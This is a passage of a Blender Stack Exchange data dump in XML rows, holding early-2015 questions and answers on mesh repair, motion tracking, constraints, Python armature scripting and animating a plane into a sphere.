  <row Id="24031" PostTypeId="1" CreationDate="2015-01-30T21:01:08.947" Score="1" ViewCount="1700" Body="&lt;p&gt;I am currently working on a project that requires me to convert multiple 3D meshes into voxelized models. Clean voxelization requires clean original meshes. However, the meshes I am working with are very... &quot;corrupted.&quot; My pictures show this clearly, the meshes are composed of multiple disconnected faces and vertices, and the entire mesh has a &quot;torn&quot; look to it. However, the overall shape of the mesh remains. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to somehow approximate the general shape of the entire mesh, including bends/holes/etc. Basically, imagine automatically stitching together all the broken faces to create a single manifold mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one of my simpler models, I actually manually repaired the mesh through hours of selecting vertices, making faces, and moving stuff around: (Before and after)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tbfi7.png&quot; alt=&quot;Before and after fixing messed up mesh 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/th3DN.png&quot; alt=&quot;Before and after fixing messed up mesh 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this technique is very slow and tedious. I came across other solutions such as the Shrinkwrap modifier, however it doesn't work well around sharp angles/doesn't preserve the original shape well. Converting to a Convex Hull also loses all detail. I found the Point Cloud Skinner add-on, however all the random chaotic vertices in my model produce very bad skinning results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's a mesh I want to repair, in a similar fashion to the first example. &#xA;Any tips/advice on what tools/methods to use to repair a mesh like this? Also, since my voxelization has pretty low resolution, I don't need great detail in the repair, just a clean, general shape. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zEZfs.png&quot; alt=&quot;Example of mesh I want to repair&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11322" LastActivityDate="2019-03-15T12:56:00.277" Title="Mesh Repair, &quot;Torn&quot; Mesh with Holes, Shrinkwrap Modifier?" Tags="&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24032" PostTypeId="1" CreationDate="2015-01-30T21:11:59.043" Score="2" ViewCount="102" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d6BiZ.jpg&quot; alt=&quot;airplane&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently manually tracking each plane frame by frame due to the tracker not being able to follow I assume due to lack of reference points....can I track 1 plane then simply copy for the remaining 3?&lt;/p&gt;&#xA;" OwnerUserId="10979" LastActivityDate="2015-01-30T21:11:59.043" Title="Is it possible to make a copy of a plane track" Tags="&lt;tracking&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ClosedDate="2015-01-31T02:21:44.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="24033" PostTypeId="1" CreationDate="2015-01-30T22:00:43.823" Score="6" ViewCount="2019" Body="&lt;p&gt;While precision modelling, I often encounter the need to use exact distances. Blender's keyboard input is fantastic for this. What I haven't figured out yet is how to keep distances between certain vertices/edges of different objects fixed while editing or transforming one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a pretend example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kXsI8.png&quot; alt=&quot;constraint example image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have cubes A, B, C and D. We need to keep the distance between A and B to 1, and the distance from B to C to 2. We don't care about any other distance (such as C to D).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing or moving A, B or C without further tools is a though proposition, since the constraints will be invalidated, and, in the worse case, you'll end up having to move &lt;em&gt;all&lt;/em&gt; other cubes to make things right again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to keep these distances fixed while editing/transforming?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I don't want to constraint the distances between the object's &lt;em&gt;centers&lt;/em&gt;, but from actual vertices/edges - or possible the object's bounding boxes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I know about &lt;strong&gt;parenting&lt;/strong&gt;, but that only works in one direction (you can't have loops in the parent graph).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know about the object &lt;strong&gt;limit distance constraint&lt;/strong&gt;, but there's no way to specify that the distance is aligned to an axis, so it ends up bringing the objects out of alignment. Also, having to create vertex groups is really tedious.&lt;/p&gt;&#xA;" OwnerUserId="9461" LastEditorUserId="9461" LastEditDate="2015-01-30T22:06:32.457" LastActivityDate="2015-01-31T19:55:33.027" Title="Distance constraints between objects/vertices/edges" Tags="&lt;objects&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24034" PostTypeId="1" AcceptedAnswerId="26784" CreationDate="2015-01-30T23:26:51.813" Score="3" ViewCount="1195" Body="&lt;p&gt;In the game engine, when i have my player walking around the scene it seems to slowly slide down slopes and ramps etc. How can I prevent this sliding from happening just like in most other games?&lt;/p&gt;&#xA;" OwnerUserId="5253" LastActivityDate="2015-03-08T00:14:52.107" Title="Sliding down slopes" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24035" PostTypeId="1" CreationDate="2015-01-30T23:29:01.717" Score="1" ViewCount="499" Body="&lt;p&gt;i need to do some calculations which only work in Rest pose. So i tried to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pose_position = arm.data.pose_position&#xA;arm.data.pose_position='REST'    &#xA;&#xA;# Do some calculations on the mesh objects bound to the armature&#xA;&#xA;arm.data.pose_position=pose_position&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this simple idea does not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when i select Rest Position from the Blender User Interface before i call my script, then the script creates correct results. So the question is what does pressing the Rest Position Button in addition and how can i do that from Python as well?&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2015-04-02T23:56:19.840" Title="Temporaly set an Armature to Rest Position" Tags="&lt;python&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24036" PostTypeId="2" ParentId="24031" CreationDate="2015-01-30T23:43:14.733" Score="2" Body="&lt;p&gt;How about trying to retopo it? I see that mostly it is composed from easy shapes like circles, boxes and ovals, that you can easily create manually and everything else you can retopologise turning on and off snap to the surface when needed.&lt;/p&gt;&#xA;" OwnerUserId="7531" LastActivityDate="2015-01-30T23:43:14.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24037" PostTypeId="1" CreationDate="2015-01-31T00:03:32.143" Score="0" ViewCount="1161" Body="&lt;p&gt;I have a mesh in OBJ format (that I did not generate) that comes with an associated MTL and PNG file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I decimate the mesh and still have the texture display properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rll.berkeley.edu/amazon_picking_challenge/data/champion_copper_plus_spark_plug/processed.tgz&quot; rel=&quot;nofollow noreferrer&quot;&gt;An example mesh&lt;/a&gt; that I would like to decimate. See the textured meshes folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the obj file needs a quick fix as noted in &lt;a href=&quot;https://blender.stackexchange.com/questions/24020/importing-obj-with-mtl-and-png&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11318" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-01-31T00:03:32.143" Title="Decimating a Mesh that has an associated texture file?" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24038" PostTypeId="1" CreationDate="2015-01-31T00:19:57.360" Score="4" ViewCount="1101" Body="&lt;p&gt;Is there a way to remove or ignore the tracking data of x or y axis? I just want to stabilize the up/down motion in a video because I'm doing a panning shot (rolling on wheels). As you can see, the red track seems to move the film to the left (outside) which is unwanted. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/2MmxrDD.jpg?1&quot; alt=&quot;x-axis motion track&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11324" LastEditorDisplayName="user1853" LastEditDate="2015-01-31T01:51:06.817" LastActivityDate="2016-05-24T17:11:16.270" Title="Can motion tracking and Video Stabilization constrain to y axis only?" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24039" PostTypeId="2" ParentId="24000" CreationDate="2015-01-31T01:04:20.810" Score="7" Body="&lt;p&gt;You could use &lt;em&gt;Select &gt; Select Faces By Side&lt;/em&gt;, set &lt;em&gt;Number of Vertices&lt;/em&gt; to &lt;em&gt;4&lt;/em&gt; and change type to &lt;em&gt;Greater Than&lt;/em&gt;. This will select all ngons, from there you can safely triangulate. As an added bonus, if the ngon has a large number of even sides, you could even run a tris to quads operation after if you want to have that clean flat topology.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-02-02T08:10:24.310" LastActivityDate="2015-02-02T08:10:24.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24040" PostTypeId="1" CreationDate="2015-01-31T01:22:04.653" Score="1" ViewCount="268" Body="&lt;p&gt;I know that Blender doesn't support AMD GPU's, but this isn't about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender was working just fine, but after I installed Catalyst, Blender won't open. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My PC info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Win7&lt;/li&gt;&#xA;&lt;li&gt;Intel i7 3rd gen&lt;/li&gt;&#xA;&lt;li&gt;6 gp ddr3&lt;/li&gt;&#xA;&lt;li&gt;AMD Radeon 7676m&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11325" LastEditorUserId="3247" LastEditDate="2015-01-31T23:25:36.887" LastActivityDate="2015-01-31T23:25:36.887" Title="blender doesn't open when amd gpu driver is installed" Tags="&lt;gpu&gt;&lt;installation&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-31T04:30:49.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="24041" PostTypeId="1" AcceptedAnswerId="45712" CreationDate="2015-01-31T04:41:31.697" Score="7" ViewCount="1308" Body="&lt;p&gt;at this moment I have I tag with many panels&lt;/p&gt;&#xA;&lt;p&gt;I do some folder and some &lt;code&gt;__init__.py&lt;/code&gt; in order to import all the addons at the same time in the blender's &lt;code&gt;addons_contrib folder&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/awk2P.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I did that &lt;code&gt;__init__.py&lt;/code&gt; and the main &lt;code&gt;OrigamiPanel.py&lt;/code&gt; at the same order that I want the panels, but the panels aren't in the correct order...&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D7ERi.png&quot; alt=&quot;panel&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;all the code work fine, but  ... How I can define the order of the panels?&lt;/p&gt;&#xA;&lt;p&gt;thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-01-26T20:24:42.123" Title="How I can define the order of the panels?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24043" PostTypeId="1" AcceptedAnswerId="24053" CreationDate="2015-01-31T07:08:07.483" Score="36" ViewCount="13122" Body="&lt;p&gt;How to make a grid-to-sphere animation like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j67nn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="12" LastEditDate="2015-01-31T16:33:45.253" LastActivityDate="2019-06-07T14:30:03.913" Title="How to animate morphing a rectangular plane into a sphere" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="19" ContentLicense="CC BY-SA 3.0" />
  <row Id="24045" PostTypeId="1" CreationDate="2015-01-31T08:27:25.533" Score="3" ViewCount="849" Body="&lt;p&gt;I cannot seem to get my model to export as an FBX with the textures intact. Is there a tutorial that shows how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11329" LastActivityDate="2015-01-31T08:27:25.533" Title="How can I export an FBX with Textures" Tags="&lt;texturing&gt;&lt;export&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24046" PostTypeId="1" AcceptedAnswerId="24081" CreationDate="2015-01-31T10:49:46.283" Score="7" ViewCount="1717" Body="&lt;p&gt;I've created conveyor belt and and two objects with rigid body physics.&#xA;But the first object won't fall and second object falls backwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/Q95bsImTpt8&quot; rel=&quot;nofollow&quot;&gt;Video of the problem&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/abc1x6r0c7fe996/beltBrain2.7z?dl=0&quot; rel=&quot;nofollow&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7737" LastEditorUserId="599" LastEditDate="2015-02-01T08:36:57.100" LastActivityDate="2015-02-01T11:06:58.803" Title="How to make a Rigid Body fall off a conveyor belt?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24048" PostTypeId="1" CreationDate="2015-01-31T13:56:11.183" Score="6" ViewCount="14353" Body="&lt;p&gt;Could anyone explain how you can create a low poly mesh while the texture details are high? I have been searching for quite a while now and I can't seem to find anything about it.&lt;/p&gt;&#xA;" OwnerUserId="11331" LastEditorUserId="3710" LastEditDate="2015-01-31T14:14:39.117" LastActivityDate="2015-02-02T16:13:40.307" Title="Create a low poly mesh with high detailed textures?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24049" PostTypeId="2" ParentId="24038" CreationDate="2015-01-31T15:04:28.573" Score="4" Body="&lt;p&gt;In the compositor the Movie Input nodes has x and y offset values, once you add a tracker to the 2D stabiliser these become active. Just use the correction you need and plug it into the node distort&gt;transform.&#xA;In your case just use the y value.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A7F1h.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-01-31T15:04:28.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24050" PostTypeId="1" AcceptedAnswerId="24102" CreationDate="2015-01-31T16:09:51.687" Score="6" ViewCount="732" Body="&lt;p&gt;I've got some BGL drawing code which draws some outlines over nodes in screen-space coordinates. It accounts for the DPI settings in the User Preferences and scales up the size and position of drawn objects accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, if a user is using a Retina display, the DPI value in the preferences doesn't actually change, even though it virtually doubles, thus the screen coordinates are all wrong:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CZiCK.jpg&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red outlines are supposed to sit exactly on top of the nodes. This works fine on a non-retina display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So how can I check whether blender is running on a Retina display from python?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is all here: &lt;a href=&quot;http://hastebin.com/gipifamoco.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://hastebin.com/gipifamoco.py&lt;/a&gt; - at line &lt;code&gt;607&lt;/code&gt; is where I take into account the DPI and &#xA;&quot;Virtual Pixel Mode&quot; option in the user prefs (which can be set to 'Double' to simulate using a Retina display, but stays at 'Native' when using an actual Retina display)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So theoretically I'd like to be able to change:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;retinafac = (2 if bpy.context.user_preferences.system.virtual_pixel_mode == 'DOUBLE' else 1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;retinafac = (2 if (bpy.context.user_preferences.system.virtual_pixel_mode == 'DOUBLE' or &amp;lt;using retina display&amp;gt;) else 1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;&amp;lt;using retina display&amp;gt;&lt;/code&gt; is the check.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2015-02-01T22:37:43.390" Title="Detect if using retina display from python" Tags="&lt;python&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24051" PostTypeId="2" ParentId="24043" CreationDate="2015-01-31T16:20:49.713" Score="18" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;strong&gt;UV Sphere&lt;/strong&gt;, you can use any segments and rings counts (memorize segments). Then rotate it -90d in Y and translate it +1.0 in Z. Adjust the spheres origin to [0,0,0] with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;To Center&lt;/em&gt; and &lt;em&gt;Object &gt; Transform &gt; Origin To 3D Cursor&lt;/em&gt;. Important is to not change the scale and have the sphere with radius of 1.0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2bWT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit-mode &lt;strong&gt;delete almost all of the vertices&lt;/strong&gt; but leave the most bottom &quot;&lt;a href=&quot;http://img.tfd.com/hm/JPG/A5meridian.jpg&quot; rel=&quot;noreferrer&quot;&gt;meridian&lt;/a&gt;&quot;. Extrude the mesh in Y direction to a distance of 3.142 with &lt;kbd&gt;E&lt;/kbd&gt; + &lt;kbd&gt;Y&lt;/kbd&gt; + &lt;em&gt;3.142&lt;/em&gt;. Subtract 2 from your segment count and divide by 2, add that many loopcuts ((32 - 2) / 2 = 15 for me):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQy9x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create a shapekey&lt;/strong&gt;. Switch to 3D Cursor Pivot point and scale the mesh down to 0 in local X axis (hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt;). Animate this shapekey from value 1.0 to 0.0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AVixa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;strong&gt;Simple Deform Bend&lt;/strong&gt; modifier. Add an Empty as &lt;em&gt;Origin&lt;/em&gt; to control the direction of bending. Rotate the empty 90d in X, -90d in Z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i6Fe7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Animate&lt;/strong&gt; the modifier's &lt;strong&gt;angle&lt;/strong&gt; from 0d to 180d. Duplicate the mesh and scale it -1.0 in Y. Tadaa!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5FUad.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit: Oh and the Bend modifier can be animated to 360d, so you can extrude the mesh in 3rd step both ways and have the whole thing in 1 piece, no need to duplicate and flip..&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-31T16:36:26.483" LastActivityDate="2015-01-31T16:36:26.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24052" PostTypeId="1" CreationDate="2015-01-31T16:32:31.670" Score="7" ViewCount="905" Body="&lt;p&gt;I am using Blender to mix the video from my camera with the audio from my external recording setup.  It works great mostly and I am very pleased with it.  But the problem is that I can't start the audio recorder an even number of thirtieths of a second from when I started the camera.  And Blender seems to only let me move the audio track in the VSE by whole frames (1/30 of a second).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a couple screenshots:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/McxVS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The track on top is the external audio and the one on the bottom is the camera's audio.  Between the two screenshots I have only moved the audio track by one frame.  But as you can see, I need to move it by about 1/2 frame to line up the audio properly with the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So can I move a track in the VSE by fractions of a frame?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2020-11-10T15:08:50.357" Title="VSE: Can I move an audio track in smaller increments than one frame?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24053" PostTypeId="2" ParentId="24043" CreationDate="2015-01-31T16:37:25.100" Score="51" Body="&lt;p&gt;I think the one who made that reference GIF (in another software) used two &lt;strong&gt;Simple Deform&lt;/strong&gt; modifiers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a plane, switch to Edit mode, &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;. then use a loop cut to divide it into two squares, then subdivide;&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Simple Deform&lt;/strong&gt; modifier, set deform method to &lt;em&gt;Bend&lt;/em&gt;, use a new empty object as its origin, select the empty, then &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt;. (to bend it along an expected Z axis)&lt;/li&gt;&#xA;&lt;li&gt;Add another &lt;strong&gt;Simple Deform&lt;/strong&gt; modifier, also set deform method to &lt;em&gt;Bend&lt;/em&gt;, use a second empty object as the origin, select the empty, then &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt;, &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;At frame 1, set 0 as the &lt;em&gt;Angle&lt;/em&gt; value for both Bend modifiers, insert keyframe for them. Then jump to, say, frame 60, set 180 for the first Angle, 360 for the second Angle (for 360, you may have to type on keyboard), again, intert keyframe for both.&lt;/li&gt;&#xA;&lt;li&gt;If normal direction is incorrect, flip it in Edit Mode.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ne78u.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/5483/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=5483&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: In the incoming v2.8, the Simple Deform modifer has a new option that allows choosing Local Axis, so you can use only one Empty in this case, like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DSG7y.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DSG7y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2018-11-04T04:34:29.143" LastActivityDate="2018-11-04T04:34:29.143" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24054" PostTypeId="2" ParentId="16665" CreationDate="2015-01-31T16:48:45.353" Score="7" Body="&lt;p&gt;I have had this exact problem with other addons, namely the add mesh rocks, and cg cookies' poly strips. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes from the name of the directory you created in the addon folder. For your case the folder needs to be named exactly &lt;code&gt;add_mesh_siding_utils&lt;/code&gt;. If you rename the folder the addon will work.&lt;br&gt;&#xA;This is why, blender is trying to import everything from the addon (this line in the error message.) &#xA;&lt;code&gt;from add_mesh_siding_utils import *&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender is looking for a directory called &lt;code&gt;add_mesh_siding_utils&lt;/code&gt;; the directory name is the module name.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-31T16:48:45.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24055" PostTypeId="1" CreationDate="2015-01-31T17:05:47.123" Score="5" ViewCount="830" Body="&lt;p&gt;I've been working on a game with levels. I know how to use scenes and transferring to scenes for the levels but it's getting laggy and slow. I know I can just do 'Start Game From File'. That will start the other blend file. It works, but the problem is when I save the final game as an exe or Game Engine Runtime it doesn't work. When ever I select the option to go to the other blend file it just quits the game.&lt;/p&gt;&#xA;" OwnerUserId="11332" LastEditorUserId="2217" LastEditDate="2015-01-31T18:19:32.933" LastActivityDate="2015-03-08T19:15:22.733" Title="help with exporting game as .exe" Tags="&lt;game-engine&gt;&lt;export&gt;&lt;scene&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24056" PostTypeId="2" ParentId="24033" CreationDate="2015-01-31T19:22:00.280" Score="1" Body="&lt;p&gt;As you said parenting goes 1 way, but stil: you can parent an object to a vertice. &#xA;  Select 2 object.&#xA;  Go into edit mode. (This will be on the active object).&#xA;  Ctrl-p and select make vertex parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating vertex groups for the constraints, perhaps it will be a help for you to paint the groups in weight paint mode.&lt;/p&gt;&#xA;" OwnerUserId="11298" LastActivityDate="2015-01-31T19:22:00.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24058" PostTypeId="2" ParentId="24033" CreationDate="2015-01-31T19:45:08.690" Score="1" Body="&lt;p&gt;Well Blender won't let you link the objects like you want. Even if you try to cross-constrain them with &lt;em&gt;ChildOf&lt;/em&gt; or &lt;em&gt;Transformation&lt;/em&gt; constraints and then drive their influences by object.select property so only the selected object constrains others it won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you should &lt;strong&gt;group those objects&lt;/strong&gt; and add them to the scene as &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliGroup&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Group Instance&lt;/em&gt;&lt;/a&gt;. When you transform the group all the objects relations will be kept and if you want to transform each object individually do it inside the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know for what application you need this to work, but for transforming other objects/meshes when you move another mesh and vice-versa you would need to write a script (a scene_update_post() handler).&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-31T19:55:33.027" LastActivityDate="2015-01-31T19:55:33.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24060" PostTypeId="1" AcceptedAnswerId="24062" CreationDate="2015-01-31T20:28:47.853" Score="3" ViewCount="4196" Body="&lt;p&gt;The camera tracking utilities allow you to specify or estimate lens distortion parameters (k1, k2, and k3).  Is it possible to get the Blender camera to adopt this specific distortion?  I can't find a way to set these directly on the camera.  Nor can I find a way to get the lens distortion in the compositor to take these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a really great track on a very wide angle scene with a very nice distortion.  I can't seem to match the distortion perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-31T20:52:29.503" Title="Can I make a camera use the lens distortion parameters determined by camera tracking?" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" 